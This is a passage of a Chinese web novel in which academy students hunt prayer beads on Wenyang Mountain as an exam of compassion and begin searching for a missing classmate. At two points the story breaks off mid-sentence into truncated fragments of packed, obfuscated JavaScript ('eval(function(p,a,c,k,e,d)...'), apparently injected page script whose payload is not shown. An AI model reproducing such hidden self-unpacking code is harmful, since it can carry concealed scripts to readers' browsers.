阮歆梨神情一垮,完了,最后的队友也没了! 别的成绩好的同学不想与她一队,她自然是明白。本来想着万一抽到队里被人嫌了,她可以退一步,自行换签与秦朗他们组队,至少不拖人后腿。 如今被刘澈这么一说,倒数抱团的希望也没了,真成了去哪一队都会遭嫌。 阮歆梨不禁有些难过,这回是体验了一把阿嬷说得那句俗话,就如过街的老鼠,人人喊打。 “阿梨才不想和你们组队呢!阿梨,别理他们!”方绾一拉过她安慰道:“不是还有三人队么?不管抽签结果如何,我都和你一队!” 闻言,阮歆梨瘪了瘪嘴,抱着方绾一的脖颈感动道:“一一,你真好!” 秦朗不禁撇嘴道:“就算你愿意,那还有一人呢!你凭什么觉得他就愿意了?你以为人人都像你一样,愿意照顾这个拖油瓶啊!” “秦朗,你太过分了!” 秦朗这话说得又酸又难听,方绾一恼得红了脸,也只憋出了这么一句。 一旁的太子也觉秦朗此话太过,皱眉不快道:“待会无论抽签结果如何,我与你们换签,我愿与她们二人组队。” 几人皆是一愣,前方沈鹤高声提醒道:“方小姐,该你抽签了。” 方绾一回神应声,太子随她一同上前道:“太傅,不知我,方小姐,阮小姐可否放弃抽签,自行组成一队?” 沈太傅尚未答话,杨司业已先一步开口道:“这怕是不妥,对其他考生而言,有所不公......” 太子俯身一礼:“回司业的话,学生认为无甚不公。若说队伍之力,人少自然力弱。再论队友先前的成绩表现,我们三人,上中下皆有,综合而言还低于绝大多数的队伍。所以,学生认为未有不公。” 杨司业语顿,他侧眸看向沈太傅,沈太傅向余下几人征询道:“对此,你们可有意见?” 若是阮歆梨她们组成三人队,那么他们剩下的人便可以组成两队中上实力的队伍。 几人对视一眼赶紧摇头道:“我们没有意见。” 沈太傅又看向方绾一与阮歆梨道 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太子无奈一叹,正准备再重复一遍,车厢外正在驾车的车夫朗声一笑:“等会就要到文阳山了,诸位公子小姐可还紧张?” 车厢内的两人终于回神,茫然对视一眼,太子最先反应过来,出声试探道:“马上就要开考,自是有些紧张。不知老人家可是有什么要提点我们的?” “提点自是说不上,只是临出发前,沈太傅将你们此次考试需要完成的任务告诉了老朽,现在快到文阳山了,老朽自是要告知你们的。” 阮歆梨恍然,原来是要发放考卷了! “诸位已经看到车上为你们备下的用品了吧?那些都是你们在文阳山上可能会用到的,请务必收管妥当。” 方绾一看了看太子打开的包裹,见到里面的袖箭、火折子之类的物品,面上不禁微慌,这是山上有什么危险么? 听车厢内无人应声,车夫轻声安抚道:“诸位也莫要紧张,那些兵器只是为了以防万一,给大家防身所用,不见得就会派上用场。” 方绾一慢慢松了一口气。 阮歆梨倒是没什么异色,直接拿过袖箭翻看了两下,便麻溜地捆绑在自己的右手臂上。 “阿梨,你会用这个?” 方绾一不曾碰过袖箭,见她不知如何使用,阮歆梨拿过另一袖箭替她捆绑道:“捆绑时,蝴蝶翅靠内,箭筒前端靠近手腕。” 帮着方绾一将袖箭捆好,阮歆梨举起自己的手臂示范道:“使用时,把手缩入袖中,握住箭筒的头。然后以中、食二指前出,用大指扳钢片,中食二指指向何处,箭就会射向何处。” “咻!”阮歆梨眯眸拟声,随后收回手笑弯了眼:“阿梨是不是很棒!” 方绾一兴奋鼓掌:“好厉害!没想到你还会使用袖箭!” 阮歆梨不禁骄傲:“其实不是阿梨厉害,是我阿娘厉害!这些都是她告诉阿梨的!” 想想也是,林枝意乃镇远大将军,亦是东盛数一数二的高手,她的孩子会了解这些也实属正常。 方绾一本就崇拜林枝意,这会更是激动得脸颊通红。 见两人讨论得热烈,太子含笑提醒道:“袖箭机关易动,你们使用时务必当心,莫要伤到自己。” “是哟,袖箭虽然厉害,但是极易误伤,这是留给你们以备不时之需,可千万要小心使用!” 车夫谨慎提醒,方绾一试着瞄准车窗外的一棵树干,只片刻便晃得眼晕手酸,她收回手泄气道:“不行不行,太难瞄准了。” 见她不服得暗暗鼓腮,太子轻笑出声,随后温声教道:“初学者想要一发致命自是不易,但是可以瞄准对方的腿脚,若是命中,便可拖延时间。” 阮歆梨和方绾一受教点头,确实,若是敌人伤了腿脚,就会行动不便,自然就能逃命了! 方法是好方法,但阮歆梨还是忍不住吐槽了一下:“这个方法好无赖啊!” 太子微顿,掩唇轻咳道:“此法是林大将军所授。” 阮歆梨:“......” 是她娘做得出的事。 打不过就跑,总之不能吃亏。 听到车内的对话,车夫不禁大笑出声:“林大将军所说无错,正所谓‘留得青山在不怕没柴烧’,鲁莽拼命自是无益。你们若是在山上遇到危险,也切忌硬莽,保命要紧。” 前方文阳山脚依稀可见,车夫想起了自己还有一个任务:“前方就到文阳山了,你们这次的任务是在山上寻找散落的佛珠。” “佛珠?” “不错。”车夫提醒道:“包裹中有一张地图,是佛珠可能掉落的位置,你们可以自行选择搜寻方向,在日落香烬之前,寻回佛珠数量前三的队伍,成绩记为上等,最后两队为下等,其余三队为中等。” “佛珠一共有一百零八颗,位置零散,你们量力而行,一定要在日落前下山,否则成绩无效。” 阮歆梨和方绾一凑上前一同看向太子手中的地图和佛珠绘图。 见太子神情有异,方绾一不禁出声询问:“殿下这是怎么了?” 太子指了指那串佛珠若有所思:“没什么,只是觉得这串佛珠好生眼熟。” 片刻后,他眼眸微亮,急忙掀了车帘向车夫问道:“老人家,太傅是不是还留了其他话?” 车夫微怔,摇了摇头道:“旁得倒是没说什么。哦对了,还叮嘱我们提醒大家,此物乃何家老太君所失,若能在明日前寻齐,何家自有重谢。” 37. 第 37 章 烈日炎炎,文阳山上却是温凉正好。若不是草丛中的虫蚁太过扰人,这场考试反倒是最轻松的一门。 秦朗一巴掌拍死扒上手背的黑花毒蚊,嫌弃地用草叶擦了擦手:“说来也怪,何家老太君的佛珠为什么会散落的这么远?” 若是不小心断了线,佛珠也该掉落在同一处才是,又怎么会零散地落在文阳山各处? 沈良朝睨了秦朗一眼并未答话,面上满是不耐。 也不知是巧还是不巧,沈良朝一队人在山上寻了不久,便遇到了秦朗他们这一队。 一路上秦朗的嘴都没有闲过,一直叭叭个不停,比朱大人送给他爷爷的那只鹦鹉还要吵人! 本来没有和阮歆梨抽到一队,沈良朝的心情就不太美妙。后来听秦朗说她与太子、方绾一放弃抽签,自组一队后,心情更是懊恼不快! 都怪爷爷定得破规则!还有沈鹤说得不明不白误导了他! 秦朗是个没什么眼力劲的,他一点也没留意到沈良朝快要耐不住的神情,还在一旁问个不停。 彦清倒是看得明白,赶紧打断了秦朗的喋喋不休:“佛珠应当不是意外散落,而是何老太君自行放落的。” “自行放落?”秦朗扒草的手一松:“为什么?自己乱扔,现在又让我们来找?” “不是乱扔。”彦清解释道:“传说文阳山曾是佛祖修行之地,灵气甚重,早些年前龙华寺便在此处。” “这个我知道!”与秦朗同队的盛京府尹之子朱锦安道:“我听祖母说过,龙华寺有位高僧慧能,据说就是坐化于此,舍利子就留存在这。” 秦朗越听越迷糊:“那又如何?与她丢佛珠有什么关系?” “因为何老太君信佛,将贴身佛珠放于文阳山上,以珠代人,常伴佛前。” “对对对,我祖母每年也会来文阳山敬香上供,说是可结佛缘!”朱锦安眸光晶亮:“彦清,你懂得好多啊!” 彦清谦虚低首:“朱公子过奖,彦清只是先前四处做活,听得多了一点。” “原来如此......”紧跟着秦朗又疑惑道:“既然是为了结佛缘,为什么现在又要找回佛珠?” 朱锦安摇头,彦清看了眼左右,见无人知晓,他也垂下眼眸,低调地退去了一旁。 “应该和何老太君前些日子突然病重有关。” 搜寻完眼前这一片草丛,沈良朝拍了拍手上的泥土站起身:“既是信佛之人,在走投无路之时自然也会求神拜佛。大概是希望借这点佛缘,看看能不能给老太君带来一线生机。” 听完沈良朝的话,两队人都沉默了下来。他们都不信神佛,自然也无法理解何家人想要寻回佛珠的想法。 另一头,听完太子对何家人寻找佛珠一事的解释,阮歆梨与方绾一也陷入了沉默。 “是不是觉得有些愚昧?”见两人神色钝惑,太子倒是理解道:“医不好,又舍不得。无奈之下,只要有一丝希望都会想去尝试。” 方绾一微声一叹:“若我是何家人,设身处地想想,多方求医无效,大概也会病急乱投医,寄希望于神佛。” 阮歆梨没有说话,她倒是没想这么多,只是在思考如何才能找到全部佛珠。 她在回春堂见过好些无法医治的病人,也见过他们的家人跪在堂外哭喊神灵显灵的绝望模样。 但是很遗憾,那时候她从未见过神灵显灵,神迹只存在于书中。 如今她拥有了琉璃盏,遇见了月竹,借着神力,她解决了一次又一次的麻烦。她既见过神灵,所以她一点也不觉得何家人的行为有何怪异。 集齐佛珠,究竟能不能帮助何老太君结下佛缘度过难关,她不清楚。但是阿爹常说事在人为,有希望而不去做,那才是真愚昧。 “哎?我好像找到一颗!” 方绾一刚刚拨开一株杂草就在草根处发现一颗佛珠。 用帕子包裹捡起,她与阮歆梨看着珠子正高兴不已,太子却突然拧起了眉:“好像不太一样。” 不一样? 阮歆梨伸头看向太子手中的图,何老太君的佛珠是用沉香木打磨成的桶珠,珠面上满刻经文。 而方绾一拾到的佛珠是圆珠状,其上只有木纹,并没有其他雕刻。 看来还有其他想结佛缘的人,也同何老太君一样,在文阳山上放了佛珠。这样寻找起来就更加麻烦了...... 发现找错了珠子,方绾一有些失望,阮歆梨晃了晃她的手以做安慰。 太子也温声道:“无妨,再寻便是。” 三人互相鼓气,沿着地图所标记的方向继续搜寻起来。 文阳山下,沈太傅与杨司业坐在树荫下喝茶,顾明池到时,两人面前的棋盘上已摆了半盘棋子。 他瞥了眼一旁桌案上的香炉,香烟燎燎,香根处已堆起一小撮山丘状的烟灰。 “明池?你怎么来了?”手中棋子落定,沈太傅这才留意到一旁观棋的顾明池。 他看了眼对面尚在皱眉思考的杨司业,心情愉悦地品了一口茶道:“明池,来,坐这边。沈鹤,再沏杯茶。” “多谢。”顾明池向沈鹤回礼,随后看向棋盘道:“看来考试结束前,太傅与司业还能再来一局。” “说什么呢!这还没到最后,鹿死谁手还不一定!” 闻言,杨司业气得眉头一横,顾明池赶紧笑着摆手道:“晚辈可没别的意思,只是这考试结束时间尚早,就算再来一局,时间也是绰绰有余。” 杨司业瞥了眼香炉道:“早什么?只余两炷香的时间而已。” 眸光微斜,顾明池看了一眼神色悠闲的沈太傅道:“距离第八门考结束是只余两炷香的时间,但是距离太傅的考察结束,便远远不止两炷香了吧?” “嗯?”沈太傅端着茶盏的手一顿,挑眉含笑道:“你这话老夫可就听不明白了。” 细长的眼眸精光明闪,见太傅如此神情,顾明池便明白自己猜中了。 他接过沈鹤递来的茶盏,也慢慢悠悠地品了一口:“好茶。” 太傅盯着他看了一会,随后点指笑道:“还真是狡猾的小狐狸,现在还学会反将一军,卖起关子了!那你说说,我的考察是什么。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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杨司业顿悟:“何老爷是个孝子,如今何老太君病重,若是能帮他解决这个问题,他自是会感激陛下,自行回报......可只是寻佛珠,哪里又能真正解决问题?” “陛下已经派太医与阮大夫去为老太君看诊,病情有所好转。只是老太君这一病,总觉自己命不久矣,心病甚重,所以何老爷才想起寻佛珠之法,以试解她的心忧。” “原来如此。”杨司业明白道:“这佛珠倒成了一副良药。若能寻齐,也是替朝廷解忧了。” 顾明池点头:“仁字易写,却难入心。所以太傅便是想借这一事,考察大家的仁心。” 若是只读死书,无心江湖庙堂,那这圣贤书读也无用。 所以这第八门考,为的就是区分这群学生的利己私心与博爱仁心。 杨司业捋须轻叹,这一考对于这些年少的学生而言,委实难了些。 叹息未了,已有学生怕错过交卷时间,为保成绩从山上奔了下来。 杨司业微微摇头:“太傅这一考,怕是无人能交一份好答卷了。” “那也不一定。” 沈太傅点指落子,他从袖中取出一颗佛珠递于顾明池:“我与司业这盘棋怕是还需要好些时候,这最后一份答案就交由你替我送上去吧。” 38. 第 38 章 “殿下若是没有其他事,我们便先下山了!” 太子拱手道谢,第四队人与他道别,也带着他们所找到的佛珠匆匆往山下赶去。 “他们这队找到了十一颗,之前下山的六队寻到了六十七,加上我们手上的......” 方绾一握着锦帕细数:“十二颗。” 太子轻抿唇角:“那就是还有十八颗佛珠下落不明。” 柳眉轻拢,方绾一思索道:“目前只有沈公子他们那一队尚在山上,或许这十八颗都在他们手上?” “也有可能。”太子回头看向还在草丛中寻找的阮歆梨道:“阮小姐,这一片大概是没有了,我们继续往前走走,顺便看看能不能遇到良朝他们。” 阮歆梨用树枝扒开岩石下的一片灌木,确定没有佛珠后,这才从石头上蹦下,走到太子身前道:“‘阮小姐’听起来好别扭,既然是朋友,你也可以和一一她们一样,唤我阿梨。” 太子微有犹豫,方绾一拽了拽她的衣袖:“阿梨,殿下与我们不同,这于礼不合。” 阮歆梨有些不解:“不可以么?可是秦朗、沈良朝他们,都是和我们互相唤名字的。” 方绾一还在想着如何解释,太子先行笑道:“阿梨说得没错,若是普通关系,自是要依着礼节,既然已是朋友,再如此反倒生疏了。” 果然还是“阿梨”听着更顺耳。 阮歆梨满意一笑,太子又看向方绾一道:“一一,如今距离考试结束大约还有半炷香,等会若是遇着良朝,你和阿梨便随他们一同下山吧。” 方绾一抬眸怔愣,见她神色有异,太子迟疑问道:“怎么了?可是还有其他忧虑?” “没......没有。” 方绾一慌乱低头,眸中一片羞恼。 一声再自然不过的称呼,她便控制不住地失了神! 她偷偷斜眸瞥看太子的神情,纵然她行为莫名怪异,少年清冽似泉的眸中,依然只有关怀,没有任何不耐。 方绾一捏紧手中佛珠,低垂着眸不敢再看,脸上却没忍住红成一片,一直蔓延至耳朵。 “一一?”太子迟疑道:“你可是有哪里不适......” 太子正欲细问,阮歆梨突然出声道:“沈良朝?阿梨看到沈良朝了!” 身着玄色劲装的少年独自一人在山路上行走,他四下抬眸张望,看起来不似在寻找佛珠。 “良朝!”太子挥手呼喊,面上喜色难掩。 见到阮歆梨她们一队人,沈良朝亦是眼眸一亮。本以为她们也和其他队伍一样早已下山,没想到会在此处相遇。 “殿下!”沈良朝小跑而来,他又向方绾一打了声招呼,最后才看向阮歆梨,半垂着睫羽轻声问候道:“......阿梨。” 他还是和之前一样神情僵硬,但是多日相处下来,阮歆梨也已经习以为常。 她并没有太在意沈良朝奇奇怪怪的表现,探头向他身后张望道:“怎么只有你一个人,你的队友呢?” 沈良朝指了指下山的路:“他们已经先下山了,我还在找彦清。对了,你们有看到他么?” “我们自盛京院出来便没再看到过他。怎么?你们和彦清走散了?” 山路众多,太子只当是他们与彦清走岔了道。 沈良朝拽着袖子拭去额上汗水,拧着眉继续四下张望道:“我们一队五人,本是一起顺着地图搜寻。后来发现这样搜寻太慢,彦清便提议分散行动,待到日落前再回到原地集合,一同下山。” “到了约定好的时间,我们四人回到了原地,但是彦清却迟迟未归。为了不耽搁交卷,我便让其他队友带着佛珠先行下山,我沿着彦清选的那条路去寻他。” 听到此处,太子也不禁有些担忧:“怎么,这一路你都没有遇到他么?” 沈良朝沉沉呼气道:“没有。这一路上的小道我也特意查看了,没看到什么踪迹。” “这就奇怪了。”太子眉头紧锁,依着他对彦清的了解道:“彦清一向守时重诺,既然约定好了时间,他应当不会随意错过。莫非是遇上了什么意外?” 沈良朝也有些担忧:“我也怕是如此。” 两人对视沉思,沈良朝看了眼日头,将手中两颗佛珠递于阮歆梨道:“时候不早了,你们也赶紧下山交卷吧。这是我刚刚在路上新捡到的,如今看来也无用了,你们拿去一并交了吧。” 佛珠难寻,一队能寻到上十颗已是不易,这两颗的贵重自是不必言说。 见阮歆梨没有伸手接去,沈良朝隔袖握住她的手臂,将佛珠扣于她的掌心:“我还得去寻彦清,定然是赶不上交卷的。多拿两颗也许还能多点分数,你不是不想倒数么?” 阮歆梨握着佛珠不知说什么好,但是心里有着一个清楚的认知,她不该拿别人的佛珠。 她正要开口,太子先询问道:“你们队一共寻到了多少佛珠?” 沈良朝回忆道:“我们四人一共寻到了十一颗,彦清那儿暂时不太清楚。” 原本还有十八颗下落不明,他们小队的十一颗,再加上沈良朝刚刚赠给阮歆梨的两颗,也就是说,还余下五颗没有寻到。 太子略一思索:“这样,良朝你陪她们二人下山交卷,看看彦清是否已经下山。若是没见着他,便把情况告知太傅,让他派禁卫军上山一同寻找彦清。” 方绾一出声询问:“殿下呢?不同我们一道下山么?” 太子摇头道:“我在山上继续找佛珠,顺便看看能不能寻到彦清。” 方绾一看了眼天色,若在山上继续耽搁,必然会错过交卷时间而取消个人成绩。 她向太子提议道:“不如我们先一同下山交卷,然后再随禁卫军与学院护卫一同上山寻找彦清。这样既能保住成绩,又能多一些搜寻之力。” “不妥。”太子摇头道:“一来,彦清不是随意爽约之人,我怕他遇到了意外,若是晚上一些,他便可能多几分危险。” “二来,待到禁卫军上山,天色已黑,那便更难搜寻佛珠了,我想趁天黑之前将剩下几颗寻齐。” “为什么一定要寻齐佛珠?” 阮歆梨不明白太子为什么一定要执着于寻齐佛珠。即使没有沈良朝赠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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沈良朝也是一瞬明白了太子的想法,当即决断道:“我也留下一同寻佛珠,而且彦清本就是我的队友,我更不能弃他而不顾。” 太子却严词拒绝道:“不行,天色渐晚,一一和阿梨两个姑娘,让她们二人独自下山太不安全!” “那就殿下陪同她们下山,我在山上继续寻找。我向殿下保证,不寻齐佛珠绝不下山!” 太子与沈良朝争执不下,阮歆梨摊开手心,看着沈良朝刚刚送给她的两颗佛珠,向身旁的方绾一询问道:“一一,你怕不怕成绩倒数?” 方绾一微怔,她与阮歆梨对视,见她眸光轻闪,随即明白了她的想法,弯眼一笑道:“本来有些怕,但若是丢了成绩,而和朋友一起做了更有意义的事,那便没什么好怕的了。” 阮歆梨同样弯眸,将手里两颗佛珠一并放进了方绾一包裹着佛珠的锦帕中:“你放心,阿梨耐揍!如果你爹娘因为成绩要揍你,阿梨替你扛!” 方绾一没忍住笑出了声,太子与沈良朝茫然地停下了争执。 方绾一将帕子包裹好,把佛珠全部递于太子道:“你们不必再争,我和阿梨也不下山了。人多力量大,趁着天还没黑,一同寻找吧。”